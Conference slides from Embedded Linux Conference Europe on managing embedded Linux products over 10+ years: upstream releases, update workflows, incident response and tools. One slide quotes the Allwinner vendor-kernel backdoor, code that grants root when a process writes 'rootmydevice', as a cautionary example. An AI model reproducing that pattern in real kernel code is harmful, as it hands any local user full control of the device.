Long-Term Maintenance, or How to (Mis-)Manage Embedded Systems for 10+ Years

Embedded Linux Conference Europe
Jan Lübbe <j.luebbe@pengutronix.de>

A Short Survey

- Who has developed embedded Linux systems?
- ... that are now in the field? More than 5 years? 10 years?
- ... which use versions still maintained by upstream?
- Who had to update to fix a vulnerability?
- How long did it take? A day, a week, a month, a year?
Some Context

- Small teams (<10 kernel/platform developers)
- Custom hardware
- New product at least every few years
- ... supported for >10 years

Lessons learned in 15 years of mainline-focused projects
“Traditional” Embedded Systems Lifecycle

Development Phase

Development HW / SW

Component Version Decisions

Testing, Documentation

SoP
"Traditional" Embedded Systems Lifecycle

- Development Phase

  No (Platform) Changes

- "Maintenance" Phase
Backdoor in Allwinner Vendor Kernel

```c
if(!strcmp("rootmydevice",(char*)buf,12)){
    cred = (__task_cred)(current);
    cred->uid = 0;
    cred->gid = 0;
    cred->suid = 0;
    cred->euid = 0;
    cred->egid = 0;
    cred->fsuid = 0;
    cred->fsgid = 0;
    printk("now you are root\n");
}

kfree(buf);
return count;
}
```

May 2016, https://github.com/allwinner-zh/linux-3.4-sunxi/blob/bd5637f7297c6abf78f93b31fc1dd33f2c1a9f76/arch/arm/mach-sunxi/sunxi-debug.c#L41
Field Observations

- Hardware vendors don't care about maintenance
  Vendor kernels already obsolete at start of project

- No workflow for customized pre-built distributions
  Development company on their own

- Selecting components tagged “longterm” w/o update concept
  Getting worst of both worlds

- Avoiding regular updates
  No proven and trained process

- Getting feedback by seeing your device in the news ...
  Already too late ...
Continuous Maintenance is Important!

- Critical vulnerability in a relevant component: At least one per 1-2 years (for a given system!)
- Upstream Projects maintain components for 2...5 years
- Server Distros are made for (at least casual) admin interaction

Diagram:
- Lifetime Maintenance
- Maintenance Phase
Backporting?

Idea: Start with a version, back-port patches if necessary

- Doesn't scale with number of products $\rightarrow$ versions diverge
- Many local modifications $\rightarrow$ low test coverage
- After a few years: almost impossible to decide which upstream fixes are relevant

For product lifetimes of 10 ... 15 ... years, backporting is unsustainable!
What do we want?

- Short time between incident and fix
- Low risk of negative side effects
- Predictable (and low) costs over the maintenance period
- Scalable to multiple products
- New features for free!
Ingredients for a Sustainable Process

Always use releases still maintained by upstream

Disable unused components and enable hardening features

Review security announcements regularly

Use well-proven processes for:
• Building all components
• Testing and releasing new versions
• Deploying updates

Each release defines all software components exactly

Ensure that all components can be upgraded in the field
Workflow - Development

- Submit changes to the upstream projects → reduce maintenance effort
- Automate processes (build, test, release, deployment) early → “executable documentation” → reproducibility → avoid mistakes
- Stabilize for release on then-current stable upstream releases → no outdated versions in use
Workflow – Every Year

Be prepared for possible incidents:

- Update components to current stable upstream releases (Kernel, Build-System, ...) → no unsupported versions in use

- Submit remaining changes to upstream projects → further reduce maintenance effort

- Testing → find and fix possible regressions

<table>
<thead>
<tr>
<th>Development</th>
<th>Maintenance</th>
</tr>
</thead>
</table>

Workflow – Every Month

Periodic maintenance:

- Integrate upstream maintenance releases → be prepared
- Review security announcements for components
- Evaluate impact on the product
Workflow – Incident Response

Handle the identified problem:

- Apply upstream fix
- Use automated build, test, release and deployment processes → fix deployed
## Tools

<table>
<thead>
<tr>
<th>Process Automation</th>
<th>Jenkins 2 with Pipeline as Code</th>
</tr>
</thead>
<tbody>
<tr>
<td>Test Automation</td>
<td>LAVA kernelci.org</td>
</tr>
<tr>
<td>Redundant Boot</td>
<td>Barebox (bootchooser) UBoot/GRUB with custom scripts UEFI (am64, arm64)</td>
</tr>
<tr>
<td>Update Installer and Recovery</td>
<td>RAUC OSTree (larger systems) Swupdate</td>
</tr>
<tr>
<td>Rollout Scheduler</td>
<td>hawkBit mender.io, resin.io static webserver custom application</td>
</tr>
</tbody>
</table>
Conclusion

Many approaches have failed:
  - Ignoring the problem
  - Ad-hoc fixes for outdated versions
  - Customized server distributions

Reasonable amount of work if done right:
  - Upstreaming
  - Process automation
  - Sustainable work-flow

No more excuses for badly maintained embedded products!
Discussion

@shoragan, +JanLübbe-jlu
Suggested Talks

**Tuesday**
- Comparison of Linux Software Update Technologies - Matt Porter (14:00, here)
- Approaches to Ultra-Long Software Maintenance - Wolfgbgang Mauerer (15:00, here)
- Automated Testing Laboratory for Embedded Linux Distributions - Pawel Wieczorek (16:10)

**Wednesday**
- Building a Bards Farm: Continuous Integration and Remote Control - Antoine Tenart & Quentin Schulz (9:00)
- Choosing Linux for New Use Cases - Tsugikazu Shibata (14:00)
- Software Update for IoT: The Current State of Play - Chris Simmonds (14:00)

**Thursday**
- No, It's Never Too Late to Upstream Your Legacy Linux Based Platform - Neil Armstrong (11:15)
- Continuous Integration and Testing of a Yocto Project Based Automotive Head Unit - Mario Domenech Goulart & Mikko Rapeli (12:15)